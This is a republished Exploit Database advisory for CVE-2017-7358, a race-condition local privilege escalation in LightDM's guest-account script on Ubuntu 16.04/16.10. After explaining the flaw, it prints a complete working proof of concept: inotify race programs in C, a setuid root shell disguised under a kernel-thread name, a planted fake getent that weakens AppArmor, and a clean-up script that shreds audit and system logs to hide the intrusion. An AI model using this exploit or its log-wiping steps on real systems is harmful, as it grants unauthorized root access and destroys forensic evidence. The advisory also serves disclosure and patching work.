LightDM (Ubuntu 16.04/16.10) – ‘Guest Account’ Local Privilege Escalation

• Exploit Database
• 18 阅读

• 作者： G. Geshev
  日期： 2017-04-25
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/41923/

• Source: https://blogs.securiteam.com/index.php/archives/3134
  
  Vulnerability Summary
  The following advisory describes a local privilege escalation via LightDM
  found in Ubuntu versions 16.10 / 16.04 LTS.
  
  Ubuntu is an open source software platform that runs everywhere from IoT
  devices, the smartphone, the tablet and the PC to the server and the
  cloud. LightDM is an X display manager that aims to be lightweight, fast,
  extensible and multi-desktop. It uses various front-ends to draw login
  interfaces, also called Greeters.
  
  
  Credit
  An independent security researcher, G. Geshev (@munmap), has reported this
  vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
  
  
  Vendor Responses
  The vendor has released a patch to address this issue.
  For more information: https://www.ubuntu.com/usn/usn-3255-1/
  
  
  CVE Details
  CVE-2017-7358 <https://nvd.nist.gov/vuln/detail/CVE-2017-7358>
  
  
  Vulnerability Details
  The vulnerability is found in *LightDM*, which is the Ubuntu’s default
  desktop manager, more specifically in the guest login feature. By default
  *LightDM* allows you to log into a session as a temporary user. This is
  implemented in a script called ‘*guest-account*‘.
  
  @ubuntu:~$ ls -l /usr/sbin/guest-account
  -rwxr-xr-x 1 root root 6516 Sep 29 18:56 /usr/sbin/guest-account
  
  @ubuntu:~$ dpkg -S /usr/sbin/guest-account
  lightdm: /usr/sbin/guest-account
  
  @ubuntu:~$ dpkg -s lightdm
  Package: lightdm
  Status: install ok installed
  Priority: optional
  Section: x11
  Installed-Size: 672
  Maintainer: Robert Ancell <robert.ancell@ubuntu.com>
  Architecture: amd64
  Version: 1.19.5-0ubuntu1
  Provides: x-display-manager
  Depends: debconf (>= 0.5) | debconf-2.0, libc6 (>= 2.14), libgcrypt20 (>=
  1.7.0), libglib2.0-0 (>= 2.39.4), libpam0g (>= 0.99.7.1), libxcb1, libxdmcp6
  , adduser, bash (>= 4.3), dbus, libglib2.0-bin, libpam-runtime (>= 0.76-14),
  libpam-modules, plymouth (>= 0.8.8-0ubuntu18)
  Pre-Depends: dpkg (>= 1.15.7.2)
  Recommends: xserver-xorg, unity-greeter | lightdm-greeter | lightdm-kde-
  greeter
  Suggests: bindfs
  Conflicts: liblightdm-gobject-0-0, liblightdm-qt-0-0
  Conffiles:
  /etc/apparmor.d/abstractions/lightdm a715707411c3cb670a68a4ad738077bf
  /etc/apparmor.d/abstractions/lightdm_chromium-browser
  e1195e34922a67fa219b8b95eaf9c305
  /etc/apparmor.d/lightdm-guest-session 3c7812f49f27e733ad9b5d413c4d14cb
  /etc/dbus-1/system.d/org.freedesktop.DisplayManager.conf
  b76b6b45d7f7ff533c51d7fc02be32f4
  /etc/init.d/lightdm be2b1b20bec52a04c1a877477864e188
  /etc/init/lightdm.conf 07304e5b3265b4fb82a2c94beb9b577e
  /etc/lightdm/users.conf 1de1a7e321b98e5d472aa818893a2a3e
  /etc/logrotate.d/lightdm b6068c54606c0499db9a39a05df76ce9
  /etc/pam.d/lightdm 1abe2be7a999b42517c82511d9e9ba22
  /etc/pam.d/lightdm-autologin 28dd060554d1103ff847866658431ecf
  /etc/pam.d/lightdm-greeter 65ed119ce8f4079f6388b09ad9d8b2f9
  Description: Display Manager
  LightDM is a X display manager that:
  * Has a lightweight codebase
  * Is standards compliant (PAM, ConsoleKit, etc)
  * Has a well defined interface between the server and user interface
  * Cross-desktop (greeters can be written in any toolkit)
  Homepage: https://launchpad.net/lightdm
  
  @ubuntu:~$
  
  The script runs as root when you view the login screen, also known as a
  greeter, to log in as a guest. Ubuntu’s default greeter is Unity Greeter.
  
  
  *Vulnerable code*
  
  The vulnerable function is ‘*add_account*‘.
  
  35 temp_home=$(mktemp -td guest-XXXXXX)
  36 GUEST_HOME=$(echo ${temp_home} | tr '[:upper:]' '[:lower:]')
  37 GUEST_USER=${GUEST_HOME#/tmp/}
  38 [ ${GUEST_HOME} != ${temp_home} ] && mv ${temp_home} ${GUEST_HOME}
  
  The guest folder gets created using ‘mktemp’ on line 35. The attacker can
  use ‘*inotify*‘ to monitor ‘*/tmp*‘ for the creation of this folder.
  
  The folder name will likely contain both upper and lower case letters. Once
  this folder is created, we grab the folder name and quickly and create the
  equivalent folder with all letters lower case.
  
  If we manage to race the ‘*mv*‘ command on line 38, we end up with the
  newly created home for the guest user inside the folder we own.
  
  Once we have the guest home under our control, we rename it and replace it
  with a *symbolic link* to a folder we want to take over. The code below
  will then add the new user to the OS. The user’s home folder will already
  point to the folder we want to take over, for example ‘*/usr/local/sbin*‘.
  
  68useradd --system --home-dir ${GUEST_HOME} --comment $(gettext "Guest")
  --user-group --shell /bin/bash ${GUEST_USER} || {
  69rm -rf ${GUEST_HOME}
  70exit 1
  71}
  
  The attacker can grab the newly created user’s ID and monitor ‘
  */usr/local/sbin*‘ for ownership changes. The ownership will be changed by
  the following ‘*mount*‘.
  
  78mount -t tmpfs -o mode=700,uid=${GUEST_USER} none ${GUEST_HOME} || {
  79rm -rf ${GUEST_HOME}
  80exit 1
  81}
  
  We will remove the symbolic link and create a folder with the same name –
  to let the guest user to log in. While the guest is logging in, his path
  for finding executable files will include ‘*bin*‘ under his home folder.
  
  That’s why we create a new symbolic link to point his ‘*bin*‘ into a folder
  we control. This way we can force the user to execute our own code under
  his user ID. We use this to log out the guest user from his session which
  is where we can gain root access.
  
  The logout code will first execute the following code:
  
  156PWENT=$(getent passwd ${GUEST_USER}) || {
  157echo "Error: invalid user ${GUEST_USER}"
  158exit 1
  159}
  
  This code will be executed as the owner of the script, i.e. root. Since we
  have already taken over ‘*/usr/local/sbin*‘ and have planted our own ‘
  *getent*‘, we get to execute commands as root at this point.
  
  Note – We can trigger the guest session creation script by entering the
  following two commands.
  
  XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
  XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool
  switch-to-guest
  
  
  Proof of Concept
  
  The Proof of Concept is contains 9 files and they will take advantage of
  the race conditions mentioned above.
  
   1. kodek/bin/cat
   2. kodek/shell.c
   3. kodek/clean.sh
   4. kodek/run.sh
   5. kodek/stage1.sh
   6. kodek/stage1local.sh
   7. kodek/stage2.sh
   8. kodek/boclocal.c
   9. kodek/boc.c
  
  By running the following scripts an attacker can run root commands:
  
  @ubuntu:/var/tmp/kodek$ ./stage1local.sh
  
  @ubuntu:/var/tmp/kodek$
  [!] GAME OVER !!!
  [!] count1: 2337 count2: 7278
  [!] w8 1 minute and run /bin/subash
  
  @ubuntu:/var/tmp/kodek$ /bin/subash
  root@ubuntu:~# id
  uid=0(root) gid=0(root) groups=0(root)
  root@ubuntu:~#
  
  If the exploit fails, you can simply run it again.
  
  Once you get your root shell, you can optionally clean any exploit files
  and logs by executing the below.
  
  root@ubuntu:/var/tmp/kodek# ./clean.sh
  /usr/bin/shred: /var/log/audit/audit.log: failed to open for writing: No such
  file or directory
  Do you want to remove exploit (y/n)?
  y
  /usr/bin/shred: /var/tmp/kodek/bin: failed to open for writing: Is a
  directory
  
  root@ubuntu:/var/tmp/kodek#
  
  boc.c
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <string.h>
  #include <ctype.h>
  #include <sys/inotify.h>
  #include <sys/stat.h>
  #include <pwd.h>
  #define EVENT_SIZE(sizeof(struct inotify_event))
  #define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))
  int main(void) {
  struct stat info;
  struct passwd * pw;
  struct inotify_event * event;
  pw = getpwnam("root");
  if (pw == NULL) exit(0);
  char newpath[20] = "old.";
  int length = 0, i, fd, wd, count1 = 0, count2 = 0;
  int a, b;
  char buffer[EVENT_BUF_LEN];
  fd = inotify_init();
  if (fd < 0) exit(0);
  wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
  if (wd < 0) exit(0);
  chdir("/tmp/");
  while (1) {
  length = read(fd, buffer, EVENT_BUF_LEN);
  if (length > 0) {
  event = (struct inotify_event * ) buffer;
  if (event - > len) {
  if (strstr(event - > name, "guest-") != NULL) {
  for (i = 0; event - > name[i] != '\0'; i++) {
  event - > name[i] = tolower(event - > name[i]);
  }
  if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS)
  ;
  if (event - > mask & IN_MOVED_FROM) {
  rename(event - > name, strncat(newpath, event - > name, 15));
  symlink("/usr/local/sbin/", event - > name);
  while (1) {
  count1 = count1 + 1;
  pw = getpwnam(event - > name);
  if (pw != NULL) break;
  }
  while (1) {
  count2 = count2 + 1;
  stat("/usr/local/sbin/", & info);
  if (info.st_uid == pw - > pw_uid) {
  a = unlink(event - > name);
  b = mkdir(event - > name, ACCESSPERMS);
  if (a == 0 && b == 0) {
  printf("\n[!] GAME OVER !!!\n[!] count1: %i count2: %i\n",
  count1, count2);
  } else {
  printf("\n[!] a: %i b: %i\n[!] exploit failed !!!\n", a, b
  );
  }
  system("/bin/rm -rf /tmp/old.*");
  inotify_rm_watch(fd, wd);
  close(fd);
  exit(0);
  }
  }
  }
  }
  }
  }
  }
  }
  
  boclocal.c
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <string.h>
  #include <ctype.h>
  #include <sys/inotify.h>
  #include <sys/stat.h>
  #include <pwd.h>
  #define EVENT_SIZE(sizeof(struct inotify_event))
  #define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))
  int main(void) {
  struct stat info;
  struct passwd * pw;
  struct inotify_event * event;
  pw = getpwnam("root");
  if (pw == NULL) exit(0);
  char newpath[20] = "old.";
  int length = 0, i, fd, wd, count1 = 0, count2 = 0;
  int a, b, c;
  char buffer[EVENT_BUF_LEN];
  fd = inotify_init();
  if (fd < 0) exit(0);
  wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
  if (wd < 0) exit(0);
  chdir("/tmp/");
  while (1) {
  length = read(fd, buffer, EVENT_BUF_LEN);
  if (length > 0) {
  event = (struct inotify_event * ) buffer;
  if (event - > len) {
  if (strstr(event - > name, "guest-") != NULL) {
  for (i = 0; event - > name[i] != '\0'; i++) {
  event - > name[i] = tolower(event - > name[i]);
  }
  if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS)
  ;
  if (event - > mask & IN_MOVED_FROM) {
  rename(event - > name, strncat(newpath, event - > name, 15));
  symlink("/usr/local/sbin/", event - > name);
  while (1) {
  count1 = count1 + 1;
  pw = getpwnam(event - > name);
  if (pw != NULL) break;
  }
  while (1) {
  count2 = count2 + 1;
  stat("/usr/local/sbin/", & info);
  if (info.st_uid == pw - > pw_uid) {
  a = unlink(event - > name);
  b = mkdir(event - > name, ACCESSPERMS);
  c = symlink("/var/tmp/kodek/bin/", strncat(event - > name,
  "/bin", 5));
  if (a == 0 && b == 0 && c == 0) {
  printf("\n[!] GAME OVER !!!\n[!] count1: %i count2:
  %i\n[!] w8 1 minute and run /bin/subash\n", count1, count2);
  } else {
  printf("\n[!] a: %i b: %i c: %i\n[!] exploit failed
  !!!\n[!] w8 1 minute and run it again\n", a, b, c);
  }
  system("/bin/rm -rf /tmp/old.*");
  inotify_rm_watch(fd, wd);
  close(fd);
  exit(0);
  }
  }
  }
  }
  }
  }
  }
  }
  
  clean.sh
  
  #!/bin/bash
  if [ "$(/usr/bin/id -u)" != "0" ]; then
   echo "This script must be run as root" 1>&2
   exit 1
  fi
  /bin/rm -rf /tmp/guest-* /tmp/old.guest-*
  /usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc /var/log/kern
  .log /var/log/audit/audit.log /var/log/lightdm/*
  /bin/echo > /var/log/auth.log
  /bin/echo > /var/log/syslog
  /bin/dmesg -c >/dev/null 2>&1
  /bin/echo "Do you want to remove exploit (y/n)?"
  read answer
  if [ "$answer" == "y" ]; then
  /usr/bin/shred -fu /var/tmp/kodek/* /var/tmp/kodek/bin/*
  /bin/rm -rf /var/tmp/kodek
  else
  exit
  fi
  
  run.sh
  
  #!/bin/sh
  /bin/cat << EOF > /usr/local/sbin/getent
  #!/bin/bash
  /bin/cp /var/tmp/shell /bin/subash >/dev/null 2>&1
  /bin/chmod 4111 /bin/subash >/dev/null 2>&1
  COUNTER=0
  while [ \$COUNTER -lt 10 ]; do
  /bin/umount -lf /usr/local/sbin/ >/dev/null 2>&1
  let COUNTER=COUNTER+1
  done
  /bin/sed -i 's/\/usr\/lib\/lightdm\/lightdm-guest-session
  {/\/usr\/lib\/lightdm\/lightdm-guest-session flags=(complain) {/g' /etc/
  apparmor.d/lightdm-guest-session >/dev/null 2>&1
  /sbin/apparmor_parser -r /etc/apparmor.d/lightdm-guest-session >/dev/null 2>
  &1
  /usr/bin/getent passwd "\$2"
  EOF
  /bin/chmod 755 /usr/local/sbin/getent >/dev/null 2>&1
  
  shell.c
  
  #define _GNU_SOURCE
  #include <stdio.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <grp.h>
  
  int main(void)
  {
  setresuid(0, 0, 0);
  setresgid(0, 0, 0);
  setgroups(0, NULL);
  putenv("HISTFILE=/dev/null");
  execl("/bin/bash", "[bioset]", "-pi", NULL);
  return 0;
  }
  
  stage1.sh
  
  #!/bin/bash
  if [ "${PWD}" == "/var/tmp/kodek" ]; then
  /usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
  /usr/bin/killall -9 boc >/dev/null 2>&1
  /bin/sleep 3s
  /usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>
  &1
  /usr/bin/gcc boc.c -Wall -s -o /var/tmp/boc
  /usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
  /bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh
  /var/tmp/boc
  else
  echo "[!] run me from /var/tmp/kodek"
  exit
  fi
  
  stage1local.sh
  
  #!/bin/bash
  if [ "${PWD}" == "/var/tmp/kodek" ]; then
  /usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
  /usr/bin/killall -9 boc >/dev/null 2>&1
  /bin/sleep 3s
  /usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>
  &1
  /usr/bin/gcc boclocal.c -Wall -s -o /var/tmp/boc
  /usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
  /bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh
  /var/tmp/boc &
  /bin/sleep 5s
  XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
  XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool
  switch-to-guest
  else
  echo "[!] run me from /var/tmp/kodek"
  exit
  fi
  
  stage2.sh
  
  #!/bin/sh
  /usr/bin/systemd-run --user /var/tmp/run.sh
  
  /bin/cat
  
  #!/bin/sh
  /usr/bin/systemd-run --user /var/tmp/run.sh
  /bin/sleep 15s
  /bin/loginctl terminate-session `/bin/loginctl session-status | /usr/bin/
  head -1 | /usr/bin/awk '{ print $1 }'`